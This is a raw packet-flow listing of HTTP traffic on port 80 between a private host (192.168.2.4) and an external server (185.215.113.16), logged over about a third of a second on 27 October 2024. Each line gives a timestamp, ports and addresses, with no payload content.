Oct 27, 2024 02:03:21.825783968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.825783968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825819016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825851917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825886965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825910091 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.825922012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.825925112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.826200962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826256037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826291084 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.826307058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826339960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826371908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.826374054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826406956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826441050 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.826442003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826469898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.826474905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826508999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826539040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.826541901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826929092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826961040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826993942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.826996088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.827024937 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.827059984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827111006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827150106 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.827159882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827225924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827260017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.827275991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827311039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827364922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827402115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827434063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.827434063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827470064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827502012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827502966 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.827537060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.827568054 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.828105927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.828156948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.828193903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.828222990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.828226089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.828255892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.828263044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.829247952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.879764080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.879800081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.879833937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.879846096 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.899780989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.899832964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.899833918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.899866104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.899986029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900002003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.900036097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900084019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900116920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900141954 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.900147915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900177002 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.900182962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900216103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900243044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.900279045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900325060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.900342941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900392056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900424957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900453091 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.900460005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900603056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900654078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900682926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.900686026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900718927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900753975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.900758982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.900903940 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.901000977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.901030064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.901061058 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.901110888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.901163101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.901190996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.901196957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.901230097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.901258945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.901262045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.901294947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.901324987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.901328087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.901355982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.901382923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.940738916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.940790892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.940828085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.940864086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.940865040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.940900087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.940902948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.940932989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.940963030 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.943511963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.943562984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.943592072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.943613052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.943645954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.943679094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.943679094 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.943711996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.943742990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.943746090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.943779945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.943805933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.943965912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944010019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944040060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.944042921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944116116 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.944125891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944159031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944210052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944242954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944293022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944308996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.944325924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944360018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944392920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944411993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.944426060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944442987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.944458008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944490910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944528103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.944561958 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.944612980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.945167065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945216894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945250034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945278883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.945282936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945317984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945333958 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.945353031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945415020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.945494890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945528984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945566893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.945579052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945612907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945646048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945674896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.945681095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.945924044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.945977926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946151018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946183920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946228027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946235895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.946261883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946294069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946317911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.946326971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946360111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946388960 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.946392059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946425915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946455956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.946458101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946492910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946518898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.946624994 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.946923971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946957111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.946993113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.947019100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.947026014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.947076082 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:21.998488903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.998522997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.998555899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:21.998617887 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.018400908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018436909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018456936 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.018467903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018501997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018512011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.018533945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018565893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018610954 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.018646955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018680096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018693924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.018712044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018774986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018816948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.018824100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.018989086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019022942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019037962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.019057035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019068003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.019092083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019124031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019165993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.019176006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019210100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019220114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.019243956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019452095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.019516945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019567013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019618034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019650936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019664049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.019684076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019701004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.019716978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019752026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019783974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019793987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.019819021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.019829035 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.059606075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.059659958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.059690952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.059695959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.059730053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.059736967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.059767008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.059820890 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.061944962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.061980009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062014103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062030077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.062066078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062099934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062129974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062141895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.062164068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062177896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.062201977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062235117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062269926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062279940 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.062313080 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.062350035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062382936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062416077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062458038 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.062483072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062531948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.062535048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062568903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062602997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062653065 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.062819958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062854052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062885046 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.062887907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.062933922 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.062953949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063005924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063038111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063081980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.063146114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063182116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063189030 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.063385010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063505888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063556910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063560009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.063591003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063600063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.063623905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063657999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063692093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063714027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.063726902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063740015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.063760042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063795090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.063838959 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.064136028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064187050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064188004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.064222097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064254045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064296961 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.064304113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064337015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064346075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.064369917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064403057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064436913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064446926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.064470053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064472914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.064503908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064538002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.064584970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.065059900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065118074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.065244913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065278053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065313101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065346956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065373898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.065380096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065404892 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.065414906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065448046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065480947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065494061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.065514088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065522909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.065548897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065602064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.065646887 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.117134094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.117185116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.117224932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.117245913 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.137257099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137301922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137357950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137367010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.137392998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137401104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.137425900 CET	80	49738	185.215.113.16	192.168.2.4
